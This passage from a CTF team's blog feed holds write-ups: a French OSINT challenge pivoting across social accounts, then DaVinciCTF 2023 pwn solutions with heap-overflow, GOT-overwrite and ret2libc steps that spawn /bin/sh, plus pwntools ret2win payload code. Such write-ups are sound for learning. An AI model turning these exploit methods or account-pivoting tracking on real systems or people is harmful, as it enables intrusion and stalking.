qu&#39;il ne remarque quelque chose. Il a l&#39;air très actif sur ce groupe de discussion.</pre><p>Je sais que je dois donc me concentrer sur la publication à propos de son <strong>tatouage</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*Kg-lFI5I_zhzvZAPpB3-iA.png" /><figcaption>Tu aimes mon nouveau tatouage ? 🐲</figcaption></figure><p>J’enregistre cette image et la passe sur l’outil <strong>Google Lens </strong>afin d’effectuer un <strong>reverse image</strong>. Cela va me permettre de savoir si cette image <strong>a déjà été publiée autre part</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*ihCxmkrKtC9aoOESxw0AVg.png" /></figure><p>Bingo ! Le premier résultat me renvoie vers <a href="https://m.facebook.com/three.tides.tattoo/photos/2065460663500684/"><strong>https://m.facebook.com/three.tides.tattoo/photos/2065460663500684/</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*s4ibdV3oAtTeI5e6TOd26Q.png" /></figure><p>On découvre alors l’enseigne de tatouages <strong>Three Tides Tattoo</strong>.</p><p>Je décide à ce moment-là de consulter la page <strong>Google Maps</strong> et les photos pour essayer de <strong>pivoter sur un nouveau compte </strong>de Takeshi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwwGZb_D0DOnslZrFzDvmQ.png" /></figure><p>Je trie les <strong>photos les plus récentes</strong> postées sur l’enseigne, et découvre le <strong>compte Google</strong> de Takeshi :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*Lrcn7PVUUgG2Y78JsUv57A.png" /></figure><p>Je permute dessus et regarde les autres contenus qu’il a publiés.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nc9KejvAk5yaFVHfjn4DQA.png" /></figure><p>Je découvre ainsi le second flag <strong>BZHCTF{t4tt00s_4r3_p4rt_0f_th3_tr4d1t10n}</strong></p><h3>Yakuza (3/5) — Onigiri</h3><pre>Voilà ma preuve ! Les tatouages sont une tradition chez les yakuzas. D&#39;ailleurs il revendique haut et fort qu&#39;il appartient à ce groupe et que c&#39;était une obligation. Bref, maintenant que j&#39;ai ça il faudrait que je travaille sur sa localisation. Je pense que j&#39;en ai pour un moment, c&#39;est jamais chose facile.<br><br>Par où je pourrai bien commencer ? Il faut que je garde la tête froide et que je regroupe ce que je possède déjà sur lui. Peut-être que je pourrai retourner sur son groupe LINE ou sur son compte Twitter chercher des informations ? Il a forcément dû parler d&#39;une rencontre avec quelqu&#39;un. Ce serait un bon moyen de pivot. Peut-être que cette personne me donnera plus d&#39;informations.</pre><p>Ok, je sais maintenant que je dois <strong>chercher une autre personne</strong>, repassons sur Twitter :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*XnVisjmLnyR0DpOcAbS5_w.png" /></figure><p>On apprend qu’il a rencontré dans un <strong>bar</strong> un nouveau <strong>rappeur</strong> écrivant ses paroles dans un mélange d’<strong>anglais</strong> et de japonais.</p><p>Je pars à la recherche d’information sur ce bar dans Line, je tombe sur ceci :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*LcTR6cE-rkn0HAOdmXJHXA.png" /></figure><p>Une simple recherche Google avec comme mots-clés “<strong>Hippo</strong>” et “<strong>Osaka</strong>” permet de trouver ce fameux bar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ry5ld1Mx7h-1aYO8Sf_HkA.png" /></figure><p>On sait qu’on doit chercher un rappeur, <strong>on ne va donc certainement pas le trouver dans des avis Google Maps</strong>.</p><p>Il faut ici <strong>élargir sa vue</strong> pour réfléchir sur <strong>quels réseaux sociaux un rappeur</strong> publierait les sorties et bars où il sort : <strong>Instagram</strong></p><p>Je me <strong>pivote donc depuis l’Instagram du bar</strong> <a href="https://www.instagram.com/hippo_hostel/">https://www.instagram.com/hippo_hostel/</a> pour voir s’il n’y a pas la présence de ce rappeur dans une <strong>publication</strong>, une <strong>storie</strong> ou en <strong>identification</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*T93jH9hCl3grVOJwitVpyw.png" /></figure><p><strong>Une image sort du lot </strong>et pourrait correspondre à ce fameux rappeur.</p><p>Je décide de regarder de plus près son compte Instagram <a href="https://www.instagram.com/jaylatheperfect/">https://www.instagram.com/jaylatheperfect/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gC2UytTgjN22QxpOmJ_Oow.png" /></figure><p>En cliquant sur les <strong>stories</strong>, je trouve rapidement le flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*jpuQW0vlFORyHMi7seTksw.png" /></figure><p><strong>BZHCTF{g0_l1st3n_t0_t0n1k4ku_j4y!}</strong></p><p>C’est a posteriori que je me suis rendu compte que <strong>plusieurs éléments</strong> de Lime permettaient de bien confirmer que c’était ce rappeur :</p><ul><li>la <strong>timeline Twitter</strong> de Takeshi sur sa rencontre / le post Instagram de tonikaku</li><li>Takeshi mentionne qu’il trouve étrange que son ami ait <strong>plusieurs pseudos et comptes</strong>. En enquêtant j’ai effectivement découvert @<strong>jaylatheperfect</strong>, @<strong>hinomaru_jpn</strong> et @<strong>templeinterior_</strong> qui est sa marque de vêtement.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*81n8msfO4pm7RyIPZnmxng.png" /></figure><p>On retrouve d’ailleurs ce <strong>logo</strong> dans les posts de Takeshi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*fPF4qJ8pzDpcwgxQvXdXyg.png" /><figcaption>Comme le veut la tradition, je devais me faire tatouer. L’enseigne du magasin ressemblait à Kamon Tomoe. ☯️</figcaption></figure><ul><li>Sur le compte de Takeshi, un <strong>lien Drive</strong> permet d’aller écouter certains de ses <strong>freestyles de rap</strong> <a href="https://drive.google.com/drive/folders/1-17Gf65P8oTkrHUvKzIwZbHe2e_DQeZr">https://drive.google.com/drive/folders/1-17Gf65P8oTkrHUvKzIwZbHe2e_DQeZr</a></li></ul><p>On y reconnaît alors <strong>la même voix que le freestyle</strong> partagé par Takeshi sur son groupe Line :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*cmSBJoyNn-4EthZzPhtxKw.png" /><figcaption>La nouvelle chanson de mon amie est géniale ! 🔥</figcaption></figure><h3>Yakuza (4/5) — IS THAT A SUPRA ???</h3><pre>Yes, une preuve supplémentaire ! J&#39;ai réussi à faire le lien entre notre suspect et un ami rappeur à lui. D&#39;après ses dires, il serait en route pour une nouvelle destination afin de rejoindre une &quot;connaissance&quot;.<br><br>J&#39;ai de la chance qu&#39;il soit assez bavard sur son groupe d&#39;amis, il vient visiblement de me laisser un nouvel indice. Avec ceux déjà présent, je devrais pouvoir être en mesure de connaître sa destination finale</pre><p>Takeshi fait effectivement référence à la <strong>destination</strong> se trouvant à côté d’où il va rencontrer son contact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*WVama3759Gf0YYzYCdnWFA.png" /><figcaption>Petite photo de la destination, vous voyez où c’est ? L’événement est juste à côté</figcaption></figure><p>Les plus connaisseurs de Rennes reconnaitront rapidement la <strong>Basilique Saint-Aubin en Notre-Dame de Bonne Nouvelle</strong>, qui se trouve à côté du Couvent des Jacobins à Rennes.</p><p>Il était également possible en OSINT de retrouver le lieu en observant la banderole prônant un évènement sur “<strong>Marcel Callo</strong>”. Grâce à Google, cela nous permet de retrouver la Basilique par ce site détaillant la visite et l’exposition <a href="https://rennes.catholique.fr/marcelcallo/378698-exposition-marcel-callo-ouverte-toute-lannee/"><strong>https://rennes.catholique.fr/marcelcallo/378698-exposition-marcel-callo-ouverte-toute-lannee/</strong></a></p><p>Ayant fait le tour des ressources que nous donne Line, il ne reste qu’<strong>une seule image que nous n’avons pas encore exploitée</strong> sur ce CTF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*3TA1fKmV1ty9RA_WszEfdQ.png" /><figcaption>En tant que passionné de voitures, j’ai hâte de voir quel genre de conduite je pourrai y faire. Mais le trajet sera court… Il s’agira d’un aller-retour entre le lieu de la manifestation et la gare.</figcaption></figure><p>On reconnaît sur la photo la <strong>Toyota MR</strong>, et en observant avec détails les applications qu’utilise Takeshi, on remarque <strong>Blablacar</strong>.</p><p>On remarque également la présence d’un commentaire sur sa propre publication où il précise faire un <strong>trajet court</strong> entre la Basilique et la Gare de Rennes “<strong>En fait, je pars dès que l’événement est terminé. Ce sera samedi matin. (^^)</strong>”</p><p>En <strong>recoupant la totalité de ces informations</strong>, j’en déduis qu’il va falloir que je <strong>pivote sur Blablacar</strong> afin de trouver ce fameux trajet :</p><p><a href="https://www.blablacar.fr/trip?source=CARPOOLING&amp;id=2742206117-rennes-rennes&amp;proximity_from=CLOSE&amp;distance_from=0&amp;proximity_to=CLOSE&amp;distance_to=0&amp;requested_seats=1">https://www.blablacar.fr/trip?source=CARPOOLING&amp;id=2742206117-rennes-rennes&amp;proximity_from=CLOSE&amp;distance_from=0&amp;proximity_to=CLOSE&amp;distance_to=0&amp;requested_seats=1</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*6qbmoCYuEB7BeW1L_n08rw.png" /></figure><p>Bingo ! <strong>On trouve bien un trajet</strong>, j’avance sur le profil du conducteur Ewen :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*87H0i-Kk7EZyMeUex4AzJg.png" /></figure><p>Je trouve alors notre <strong>Hijikata</strong> qui laisse ici aussi une nouvelle trace de son passage.</p><p>Je vais alors à lui.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*X3O5Au6TLZMUf2do9cIvmA.png" /></figure><p>Flag : <strong>BZHCTF{w3ll_n0t_4_supr4_just_4_c4rp00l1ng}</strong></p><h3>Yakuza (5/5) — Détective Conan</h3><pre>Quelle coïncidence ! Il se trouve que notre suspect était en route pour Rennes. D&#39;après ses messages, il devrait y retrouver un autre membre de son groupe qui participerait lui aussi au BreizhCTF !<br><br>D&#39;après les images des caméras de surveillances, il se serait débarrassé de deux téléphones dans deux corbeilles en arrivant au Couvent des Jacobins. Je suis certain qu&#39;il doit bien y avoir des indices sur ceux-ci...</pre><p>On passe alors ici sur un challenge où il va falloir <strong>trouver physiquement les flags</strong>.</p><p>Après avoir ratissé le premier étage, je me suis attaqué au second et j’ai effectivement trouvé dans un coin du vestiaire un <strong>premier téléphone</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A9BCyYPTpTr_PjAOzbfDdA.png" /></figure><p>On trouve dans les <strong>brouillons</strong> une indication signalant que le second téléphone se trouver <strong>proche de la sortie Saint-Malo</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g22D4YsGrZBQcOkP.jpg" /></figure><p>Flag final : <strong>BZHCTF{I_h0p3_y0u_l1k3d_th3_y4kuz4_4dv3ntur3}</strong></p><p>Merci à <a href="https://hashp4.fr/">hashp4</a> pour cette suite de challenges OSINT fort sympathique et à <a href="https://twitter.com/_saxx_">_SaxX_</a> ainsi qu’à toute l’équipe de <a href="https://twitter.com/gcc_ensibs">GCC-ENSIBS</a> pour l’organisation et les challenges !</p><p><strong>Fun Fact :</strong> Sur ce CTF, le fait d’être le premier à valider un challenge (<em>first-blood</em>) ne donnait pas plus de points à l’équipe, mais permettait de <strong>pouvoir choisir quels sons étaient mis sur les enceintes</strong> dans toutes les salles. Grâce à cette série de challenges OSINT, j’ai donc notamment influencé légèrement la playlist, en espérant que certains sons vous aient plu ❤️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*knWqEydQchI6Qpt46jNFxg.png" /></figure><p><em>Contactez-moi :<br></em><a href="https://pierreceberio.com/"><em>Site Web personnel</em></a><em><br></em><a href="https://twitter.com/LesPiresHat"><em>Twitter de l’équipe</em></a><em> : LesPiresHat</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e6228c9db9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DaVinciCTF 2023 : Robots out of control]]></title>
            <link>https://lespireshat.medium.com/davincictf-2023-robots-out-of-control-aa1f524e3079?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa1f524e3079</guid>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[les-pires-hat]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Mon, 13 Mar 2023 15:21:14 GMT</pubDate>
            <atom:updated>2023-03-13T15:21:14.823Z</atom:updated>
            <content:encoded><![CDATA[<h3>DaVinciCTF 2023 — Pwn Write-up : Robots out of control</h3><p>From Saturday, March 11 to Sunday, March 12, 2023, the <strong>DaVinci CTF</strong> was organized by the students of the Pôle Léonard de Vinci. Our team finished 10th overall out of 289 teams.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*ta35gAMR1XOWU0E1.png" /></figure><p>Let’s go for a writeup of the Robots out of control challenge in Pwn category.</p><p>Thanks to the DaVinciCode team for creating this challenge and managing the CTF!</p><p><strong>Introduction</strong></p><p>The challenge statement is as follows:</p><blockquote>One of our warriors robot (called eva) has been corrupted by an unknow enemy. We have lost the control and he is now in berserk mode. Hopefully we have developped a rescue terminal in case some issue happen. You have to disable the berserk mode through the terminal, you can use all techniques you want. Here is the binary</blockquote><blockquote>nc pwn.dvc.tf 8889</blockquote><p>files: <a href="https://github.com/GammaRay99/CTF-WRITEUPS/blob/main/DVINCICTF_2023/pwn/robot_out_of_control/robotsoutofcontrol.tgz">robotsoutofcontrol.tgz</a></p><h3>Analysis</h3><p>This time we are simply given the ELF (and the Dockerfile?) and have to find the vulnerability ourselves.</p><pre>$ ./vuln<br>  EVA remote rescue terminal<br>        A. Exit<br>        B. Drop emergency shell<br>        C. New command stub<br>        D. Edit command stub<br>        E. Print command stub<br>        F. Inject command stub<br>        G. Print this menu<br>     NERV. All right reserved<br>&gt;&gt;</pre><p>We can <strong>create, edit, print and inject</strong> “command stubs”, that are structs looking like this, from what I understood:</p><pre>struct stub {<br>    char* command_ptr; // -&gt; stub.command_content<br>    int command_size;<br>    char** ramiel_msg = 0x00[]72f0; // 0x00[]72f0 -&gt; 0x00[]72c0 -&gt; “Damn…”<br>    int ramiel_size = 0x21;<br>    char[10] command_content;<br>}</pre><p>When we create a new command stub, we can specify a command. The code takes <strong>only the first 10 chars</strong> and put them in command_content. The issue is that command_size is equal to the <strong>size of the string we entered</strong>, and not the max size of the command_content buffer (10).<br>So if we enter AAAAAAAAAAAAAAAAAAA (20xA), we will have 10xA in command_content and 0x14 (20) in command_size.</p><p>This is bad, because the function edit_command_stub reads stub.command_size chars from the <strong>stdin</strong> and puts them in *command_ptr, creating a heap overflow.</p><h3>The heap overflow</h3><p>When we create 2 stubs, here’s the state of the heap:</p><pre>stub0:     0x555582c0 0x00005555<br>           0x00000123 0x00000000<br>           0x555572f0 0x00005555<br>           0x00000021 0x00000000<br>           0x41414141 0x41414141<br>           0x41414141 0x00414141<br><br>dontcare:  0x00000000 0x00000000<br>           0x00000021 0x00000000<br><br>stub1:     0x55558300 0x00005555<br>           0x00000123 0x00000000<br>           0x555572f0 0x00005555<br>           0x00000021 0x00000000<br>           0x42424242 0x42424242<br>           0x42424242 0x00424242</pre><p><em>(Note that both stub have a </em><em>command_size of 0x123, so we can trigger the overflow)</em></p><p>Now, if we edit stub0 and write something like 48xA, we now have:</p><pre><br>stub0:     0x555582c0 0x00005555<br>           0x00000123 0x00000000<br>           0x555572f0 0x00005555<br>           0x00000021 0x00000000<br>           0x41414141 0x41414141<br>           0x41414141 0x00414141<br><br>dontcare:  0x41414141 0x41414141<br>           0x41414141 0x41414141<br><br>stub1:     0x41414141 0x41414141<br>           0x41414141 0x41414141<br>           0x5555720a 0x00005555<br>           0x00000021 0x00000000<br>           0x42424242 0x42424242<br>           0x42424242 0x00424242<br></pre><p>We successfully overwritten pointers of stub1 !<br>Since we can control the pointers of stub1, we know we have both <strong>arbitrary write</strong> and <strong>arbitrary read</strong> thanks to the functions print_command_stub and edit_command_stub that both uses stub.command_ptr to perform (and we now have control over this pointer).</p><p>I was really happy when achieving this, but when trying to exploit it locally nothing worked, I completely forgot that the binary was PIE… At this point I was pretty tired, I could not think straight so I just went to sleep sad.</p><h3>Bypass PIE</h3><p>When explaining where I was to a teammate, we quickly found out how to leak an address in order to bypass PIE, we just had to write until just before the address we want to leak and print the command of stub0, that will print the heap <strong>until a null byte</strong>, which means leaking an address!</p><blockquote>If you check the state of the heap after we wrote 48 A (a bit above in the article), you can see that if we ask the program to print the command of stub0, it will leak everything, even pointer in stub1</blockquote><p>Thanks to that, we can leak the address of the hard coded string <em>“DAMN, we are getting fucked by Ramiel” </em>(who tf is ramiel anyway), and since the string is in the data section, we can retrieve the base address of the binary by subtracting it’s offset.</p><h3>Bypass ASLR</h3><p>Since we have bypassed PIE, we can now use a <strong>ret2plt</strong> attack in order to leak and address of a libc function and retrieve the base address of libc.</p><p>Since I know the base address of the binary, I also know where the <strong>GOT segment</strong> is, so I made another heap overflow, this time overwriting the value of stub.command_ptr with the address of got.puts. Then we simply need to call print_command_stub on the stub, and this will leak the content of got.puts, which is the address of the libc puts in the memory (where libc has been mapped).</p><p>Since the version of libc on the remote challenge is unknown, we also have to find the version by leaking 2 other functions, and going to a site like <a href="https://libc.rip/">this one</a> in order to get the version of libc and all the offsets we are interested about in this libc version.</p><h3>Ret2libc</h3><p>Now that we have both the <strong>PIE and the ASLR bypassed</strong>, it’s a simple ret2libcattack: since we already have an arbitrary write, we just have to replace the address of got.puts to the address of system.</p><p>Once, we did that, we just have to write “/bin/sh” as the command_content of a stub, and when we’ll launch print_command_stub on it, it will execute system(&quot;/bin/sh&quot;) :)</p><h3>Wrap Up</h3><p>My entire exploit code is <a href="https://github.com/GammaRay99/CTF-WRITEUPS/blob/main/DVINCICTF_2023/pwn/robot_out_of_control/exploit.py">here</a></p><p>What it looks like:</p><pre>$ python3 exploit.py<br>[*] ‘/home/gammray/Documents/CTF/dvctf/pwn/robot_out_of_control/vuln’<br> Arch: amd64–64-little<br> RELRO: No RELRO<br> Stack: Canary found<br> NX: NX enabled<br> PIE: PIE enabled<br>[+] Opening connection to pwn.dvc.tf on port 8889: Done<br>[*] Creating attacking stub n°0 with max command size of 512<br>[*] stub n°0 created<br>[*] Creating attacking stub n°1 with max command size of 512<br>[*] stub n°1 created<br>[*] Editing stub n°0<br>[*] stub n°0 edited<br>STUB ADDR : 0x55c44a3a32f0<br>BASE ADDR OFFSET : 0x6ef4e4c000<br>PUTS GOT ADDR : 0x55c44a3a3220<br>[*] Creating attacking stub n°3 with max command size of 512<br>[*] stub n°3 created<br>[*] Creating attacking stub n°4 with max command size of 512<br>[*] stub n°4 created<br>[*] Editing stub n°3<br>[*] stub n°3 edited<br>LIBC PUTS : 0x7ffa23cc4ed0<br>LIBC BASE ADDR : 0x7ffa23c40000<br>SYSTEM ADDR : 0x7ffa23c94d60<br>[*] Creating attacking stub n°9 with max command size of 512<br>[*] stub n°9 created<br>[*] Creating attacking stub n°10 with max command size of 512<br>[*] stub n°10 created<br>[*] Editing stub n°9<br>[*] stub n°9 edited<br>[*] Editing stub n°10<br>[*] stub n°10 edited<br>[*] Creating attacking stub n°11 with max command size of 512<br>[*] stub n°11 created<br>[*] Switching to interactive mode<br>Enter the index of your command stub (should be in range 0,255 included)<br>&gt;&gt;sh: 1: Start: not found<br>$ ls<br>flag<br>run</pre><p>Flag : dvCTF{SnPr1nTf1Sn0rS4f3AsY0uCaNth1Nk-dbf968539e8090b2}</p><p><a href="https://twitter.com/GammrayW">Twitter</a><br><a href="https://www.linkedin.com/in/thomas-weber-342840239/">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa1f524e3079" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DaVinciCTF 2023 : pwnmymenu]]></title>
            <link>https://lespireshat.medium.com/davincictf-2023-pwnmymenu-b4a2412ae059?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4a2412ae059</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[les-pires-hat]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[davinci]]></category>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Mon, 13 Mar 2023 15:20:46 GMT</pubDate>
            <atom:updated>2023-03-13T15:20:46.534Z</atom:updated>
            <content:encoded><![CDATA[<h3>DaVinciCTF 2023 — Pwn Write-up : pwnmymenu</h3><p>From Saturday, March 11 to Sunday, March 12, 2023, the <strong>DaVinci CTF</strong> was organized by the students of the Pôle Léonard de Vinci. Our team finished 10th overall out of 289 teams.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*ta35gAMR1XOWU0E1.png" /></figure><p>Let’s go for a writeup of pwnmymenu, a pretty easy challenge in Pwn category.</p><p>Thanks to Valekoz for creating this challenge and to all <a href="https://twitter.com/DaVinciCodeCTF">DaVinciCode</a> for managing this CTF!</p><blockquote>Do you like automation ? Well, you will have to automate some ret2win in order to get the flag :)</blockquote><blockquote>nc pwn.dvc.tf 8890</blockquote><p>Files: <a href="https://github.com/GammaRay99/CTF-WRITEUPS/blob/main/DVINCICTF_2023/pwn/pwnmymenu/pwnmymenu.tgz">pwnmymenu.tgz</a></p><h3>Analysis</h3><p>We were given the entire sources of the challenge (which is kinda weird), so understanding what to exploit is pretty easy:</p><ul><li>We need to pwn “lvl1” 5 times</li><li>“lvl2” 5 times</li><li>and “lvl3” 10 times</li></ul><p>For each level, it’s a simple ret2win with the size of the stack randomized in a range between [1; 511]. For the level 2 and 3, two other random variables are introduced.</p><p>When we connect to the netcat, we get the base64 of the current challenge compiled.</p><pre>$ nc pwn.dvc.tf 8890<br>f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAEBFAAAAAAABAAAAAAAAAACA4AAAAAAAAAAAAAEAAOAAN<br>AEAAHwAeAAYAAAAEAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAA2AIAAAAAAADYAgAAAAAAAAgA<br>&lt;snip&gt;<br>AAAAsDQAAAAAAABKAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAA<br>AAAAAAAAAAAAAPo2AAAAAAAAHwEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=<br>aaaa<br>Enter your payload:<br> — — — — — — — — — — -<br> — — — — — — — — — — -<br>[+] You failed exploiting my program …</pre><p><em>(Note that the IO is broken, the author probably forgot to flush the stdout when printing, so it makes everything a bit more annoying)</em></p><h3>Level 1</h3><p>Basic ret2win, the only difficulty is to retrieve the <strong>size of the stack</strong> from the compiled binary. After the CTF, I saw that I could have used ELF.disasm from pwntools to have an easier way to retrieve the size of the stack.</p><p>Anyway here’s how I did it:</p><pre>e = ELF(f”level1.{n}”, checksec=False)vuln_func = e.sym[“vuln”]<br>size = e.read(vuln_func+11, 2).hex()<br><br>if size[2] == “4”:<br>    OFFSET = int(size[:2], 16)+8<br>else:<br>    size = size[2:] + size[:2] # flemme de unpack<br>    OFFSET = int(size, 16)+8</pre><p>In short: we go to the vuln function and look at the sub rsp, 0x?? instruction at the function prologue.</p><p>I’m kinda curious on how the CPU knows the size of the instruction. Because the size of the instruction depends on the size of the 0x?? value, my dirty fix was to check if the <strong>next byte is “0x48”</strong> which would be the first byte of the next instruction. If it’s not the case, I also take the next 2 other bytes (max value is 511 so I just need 4 bytes, not all of them)</p><p>So here’s the function that needs to be called 5 times:</p><pre>def payload_level1(n):<br>     e = ELF(f”level1.{n}”, checksec=False)<br>    <br>     vuln_func = e.sym[“vuln”]<br>     win_func = e.sym[“win”]<br><br>     size = e.read(vuln_func+11, 2).hex()<br>     if size[2] == “4”:<br>         OFFSET = int(size[:2], 16)+8<br>     else:<br>         size = size[2:] + size[:2] # flemme de unpack<br>         OFFSET = int(size, 16)+8<br>  <br>     payload = b’’.join([<br>             b”A”*OFFSET,<br>             p64(win_func)<br>         ])return payload</pre><h3>Level 2</h3><p>Same as level 1, except now we have to find the menu value and the submenu, menu is in [1; 6] and submenu in [a, b, c, d, e]</p><p>This time, I search the instruction cmp for both of the values and extract the random value here. And for the stack, I just re-used the same code for the level 1.</p><pre>main_func = e.sym[“main”]<br>submenu_func = e.sym[“submenu”]<br>menu = e.read(main_func+75, 2)[1]<br>submenu = e.read(submenu_func+55, 2)[1]</pre><p>Nothing special, here’s the function:</p><pre>def payload_level2(n):<br>     e = ELF(f&quot;level2.{n}&quot;, checksec=False)<br><br>     main_func = e.sym[&quot;main&quot;]<br>     win_func = e.sym[&quot;win&quot;]<br>     submenu_func = e.sym[&quot;submenu&quot;]<br>     vuln_func = e.sym[&quot;vuln&quot;]<br><br>     menu = e.read(main_func+75, 2)[1]<br> <br>     submenu = e.read(submenu_func+55, 2)[1]<br><br>     size = e.read(vuln_func+11, 2).hex()<br>     if size[2] == &quot;4&quot;:<br>          OFFSET = int(size[:2], 16)+8<br>     else:<br>          size = size[2:] + size[:2]  # flemme de unpack<br>          OFFSET = int(size, 16)+8<br> <br>     payload = b&#39;&#39;.join([<br>          chr(menu).encode(&quot;utf-8&quot;),<br>          b&quot;\n&quot;,<br>          chr(submenu).encode(&quot;utf-8&quot;),<br>          b&quot;\n&quot;,<br>          b&quot;A&quot;*OFFSET,<br>          p64(win_func)<br>     ])<br><br>     return payload</pre><h3>Level 3</h3><p>For this level, menu and submenu are longs, but at the end it does not really make it more difficult, I simply had to find the new offsets.</p><p>Here’s the function:</p><pre>def payload_level3(n):<br>     e = ELF(f&quot;level3.{n}&quot;, checksec=False)<br><br>     main_func = e.sym[&quot;main&quot;]<br>     win_func = e.sym[&quot;win&quot;]<br>     submenu_func = e.sym[&quot;submenu&quot;]<br>     vuln_func = e.sym[&quot;vuln&quot;]<br><br>     menu = e.read(main_func+78, 8)<br> <br>     submenu = e.read(submenu_func+55, 8)<br> <br>     size = e.read(vuln_func+11, 2).hex()<br>     if size[2] == &quot;4&quot;:<br>          OFFSET = int(size[:2], 16)+8<br>     else:<br>          size = size[2:] + size[:2]  # flemme de unpack<br>          OFFSET = int(size, 16)+8<br><br>     payload = b&#39;&#39;.join([<br>          menu,<br>          submenu,<br>          b&quot;A&quot;*OFFSET,<br>          p64(win_func)<br>     ])<br><br>     return payload</pre><h3>Script solve</h3><p>You can find my entire script <a href="https://github.com/GammaRay99/CTF-WRITEUPS/blob/main/DVINCICTF_2023/pwn/pwnmymenu/solve.py">here</a>. When putting everything together I had a lot of trouble with the IO, sometimes it flushes when I’m supposed to read the base64 of the binary. I tried to manage it, but it was not really working. I end up just keeping restarting the script until it didn’t crashed instead of fixing it. (The script takes a lot of time because I had a hard time reading the base64 so I had to use a recvrepeat(2))</p><pre>$ python3 solve.py<br>  [+] Opening connection to pwn.dvc.tf on port 8890: Done<br>  PWNING LVL 1<br>  Reading file 0... Sending payload n°0<br>  &lt;snip&gt;<br>  Reading file 4... Sending payload n°4<br>  PWING LVL 2<br>  Reading file 0... Sending payload n°0<br>  &lt;snip&gt;<br>  Reading file 4... Sending payload n°4<br>  PWNING LVL 3<br>  Reading file 0... Sending payload n°0<br>  &lt;snip&gt;<br>  Reading file 9... Sending payload n°9<br>  [*] Switching to interactive mode<br>  Submenu:<br>  Enter your payload:<br>  ---------------------<br>  &lt;snip<br>  ---------------------<br>  [+]    Level 1 finished successfully !<br>  ---------------------<br>  &lt;snip&gt;<br>  ---------------------<br>  [+]    Level 2 finished successfully !<br>  ---------------------<br>  ---------------------<br>  &lt;snip&gt;<br>  ---------------------<br>  ---------------------<br>  [+]    Level 3 finished successfully !<br>  [+]    Flag is: `dvCTF{w04h_y0u_d3f3473d_my_m3nu}`<br>  [*] Got EOF while reading in interactivezerezrezr</pre><p>Flag: dvCTF{w04h_y0u_d3f3473d_my_m3nu}</p><p><a href="https://twitter.com/GammrayW">Twitter</a><br><a href="https://www.linkedin.com/in/thomas-weber-342840239/">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4a2412ae059" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackvens 2022 — AdminSys Write-up : K8S]]></title>
            <link>https://lespireshat.medium.com/hackvens-2022-adminsys-write-up-k8s-7ad9f973cc7?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ad9f973cc7</guid>
            <category><![CDATA[hackvens]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Sun, 09 Oct 2022 13:38:25 GMT</pubDate>
            <atom:updated>2022-10-10T17:38:53.726Z</atom:updated>
